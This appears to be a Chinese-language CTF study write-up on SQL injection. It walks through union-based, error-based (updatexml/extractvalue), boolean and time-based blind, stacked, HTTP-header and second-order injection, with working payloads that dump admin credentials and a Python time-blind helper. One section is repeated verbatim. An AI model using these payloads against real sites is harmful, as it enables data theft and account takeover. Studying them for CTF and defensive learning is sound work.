SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数事攻击者可以控制,并且参数带入数据库查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。
根据注入点可以分为数值型注入和字符型注入
根据注入方式可以分为联合查询,报错注入,布尔盲注,时间盲注,二次注入,堆叠注入,宽字节注入和HTTP Header注入
HTTP Header注入包括Referer注入,Cookie注入和User-agent注入
这里拿封神台第一题演示一下:
这里可以通过构造
id=1 and 1=2
id=1’ and 1=2–+
这两样随意一样来测试是哪一种注入方式,如果是第一种情况页面异常那就是数值型注入,后者则是字符型注入:
这里可以说明是数值型注入。
这里构造
id=1 order by 1
的形式,并且一次增加后面整数的值来判断总的字段数有多少
当后面的整数为3时,页面出现了错误,因此可以判断出,该数据库只有两个字段。
通过构造
id=1 and 1=2 union select 1,2,3
之后通过回显则可以成功判断出回显点在哪里,相关点之后再说
可以知道,回显点在2这里,这里则是说明了一点,由于union select是将两个字段数相同的表联合在一起,之后,网站中有一个代码查询了数据库中的第二个字段,如果将and 1=2给去掉,则会出现正常的页面,这里其实没什么无法判断回显点之类的问题,而是查询的时候包含着原本的数据一起,但是网页只能看到一行的信息,所以可以用limit 0,1来找到之前union进去的数据。
构造
id=1 and 1=2 union select 1,database()
以此来查询数据库的名称
通过构造
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
由此可知,数据库中应该有四张表(由于group.concat()函数有的时候能够显示的条数有限,不能完全显示所有信息),然后有用的表似乎是admin,因此,接下来就要对这个表进行查询了。
通过构造
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘admin’
以此来获得表中所有的字段名
好的,可以猜测一波,password内由我们想要的flag,所以下一步
构造
?id=1 and 1=2 union select 1,group_concat(username,password) from admin
之后成功查询到flag值。
由上,手工注入的流程就结束了,当然,具体的情况应该具体分析。
简单来说,联合查询需要页面有回显,但是有的时候不会提供回显,只提供了SQL报错信息,这个时候,通过联合查询就查询不到想要的数据,这个时候,就可以尝试下报错注入。
报错注入是利用了数据库的某些机制,人为地制造了错误条件,使得查询结果能够出现在错误信息中。
利用xpath语法错误来进行报错注入主要是利用extractcalue()和updatexml()两个函数,需要mysql版本>5.1.5。
函数语法:
参数1表示操作的目标XML文档,参数2则表示目标XML的查找路径。
当Xpath_string不为路径时,则会报出语法错误
但是,这个错误信息并不完整,这时,则需要在开头拼接一个Xpath无法处理的字符,即可显示完整信息
0x7e是“”符号的十六进制表现形式,而concat函数的作用就是将“”符号与select user()
查询的结果进行拼接成字符串,使报错信息中携带完整的查询信息。
函数语法:updatexml(XML_document , XPath_string , new_value)
updatexml函数有三个参数,XML_document参数表示目标XML文档(例如doc),
XPath_string参数表示路径,
new_value替换查找的数据。
updatexml函数报错注入的原理和extractvalue函数是相通的,其payload可以为updatexml(1,concat(0x7e,database()),1)。
有的时候的ctf遇到的题目是属于那种无回显无报错的类型,这个时候,就需要用到盲注,盲注包括布尔盲注和时间盲注。
在正式地进行盲注之前,总是需要一个字符串用于遍历所有可显示字符,用python写出来如下:
alpha = string.ascii_letters + string.digits + """!"#$&'()*+,-./:;<=>?@[\]^_`{|}~"""
如果说,当一个网站内的内容会根据查询的时候因为返回的正确和错误两种结果的页面不相同时,则可以利用布尔盲注的方式来进行数据库爆破,布尔盲注所用到的函数大概有
length(str) //函数返回字符串的长度
substr(str,int1,int2) //截取字符串
ascii(char) //返回字符的ascii编码
一般的payload为:
?id=1 and length(database())=5#
当and后面得到的布尔值为True时,得到的页面是一种类型,为False时得到的页面又是另一种情况,因此,可以通过脚本实现自动化攻击,以下提供一个方法可以爆破,利用标志法,先可以先初始化一个sign=0,当每一次遍历字符串时遇到了布尔为True时sign+=1,每循环一次时判断一下sign的值是否为1,如果是,继续循环,不是的话则说明查询结束,或者如果查询的值的格式为flag{}时,当查询到"}"时退出循环也可;另外,在进行与字符的对比的时候要尽量转化为ascii编码来进行对比,python脚本中要使用ord()函数来进行转化。
时间盲注又称延迟注入,适用于页面不会返回错误信息,且只会显示一种界面,时间盲注用到的函数除了布尔盲注需要利用到的函数意外还包括
sleep(n) //将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3): //判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当然,时间盲注的功能十分强大,一般情况下,只要布尔盲注能够完成的注入利用时间盲注也可以。再写python脚本的时候,或许会遇到没有布尔之类的明显的回显,而是页面加载时间的差别,这个时候,python就无法轻松知道究竟到了哪一个字符时存在延迟,这个问题可以通过两个办法进行解决:
def istime(data):
try:
resp = requests.post(url,data=data,timeout=3)
return "not"
except:
return "timeout"
payload = "1' aNd if(ascii(substr((seLect password fRom users limit 2,1),{},1))={},sLeep(3),sLeep(0)) #"
当查询的时候,payload中的sleep(3)会因为and之后的表达式为真时而停顿3s,这个时候,则利用istime()函数捕获错误信息来验证是否查询到正确的字符,这个时候,当网页延迟的时间timeout的值时,则会出现报错,进而被try语句捕获,返回timeout。
这里做一个小实验
import time
before = int(time.time())
time.sleep(3)
now = int(time.time())
if now - before >= 3:
print("sleep()造成的延迟时长大于或等于3s")
在";"结束一个SQL语句后继续构造下一条语句,使多条语句顺序执行,这就是堆叠注入。
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
(1).目标存在sql注入漏洞
(2).目标未对";"号进行过滤
(3).目标中间层查询数据库信息时可同时执行多条sql语句
[]: https://blog.csdn.net/qq_66013948/article/details/133205066?spm=1001.2014.3001.5501
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
针对HTTP的请求头,如果不加以过滤或转义,在直接与数据库交互的过程中容易被利用进行SQL注入攻击。
使用场景:访问Web Server时,Web Server会从HTTP Header中驱逐浏览器信息、IP地址、
HOST信息等存储在数据库中。
HTTP Header注入又分 Referer注入 , Cookie注入 和 User-agent注入
通过burp抓包修改对应的参数:
User-Agent: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
二次注入是指在执行某些语句是有些参数是取自数据库,二次注入发生的主要原因是来自数据库的内容也是不可靠的。
当注册账号为:admin’#。
如果前端做了转义处理,在接收到数据时为:admin\’#,前端不会产生SQL注入。
但是在数据存储入数据库内时其内容为:admin’#。
当需要再次调用此数据时,来自数据库的账号数据为admin’#,如果未对后端的数据进行处理
那么同样会产生SQL注入。
例如该用户修改密码的情况下,更新语句条件会变为:where user=‘admin’#’and password=‘123’
可以在不知道用户admin密码的情况下,更新其密码。
注入发生的主要原因是来自数据库的内容也是不可靠的。
当注册账号为:admin’#。
如果前端做了转义处理,在接收到数据时为:admin\’#,前端不会产生SQL注入。
但是在数据存储入数据库内时其内容为:admin’#。
当需要再次调用此数据时,来自数据库的账号数据为admin’#,如果未对后端的数据进行处理
那么同样会产生SQL注入。
例如该用户修改密码的情况下,更新语句条件会变为:where user=‘admin’#’and password=‘123’
可以在不知道用户admin密码的情况下,更新其密码。
1.当出现网页显示长度限制的时候,比如一个flag过长,显示不完全,同时substr被过滤了的时候,可以使用left(str,length),和right(str,length)来获取相关的内容。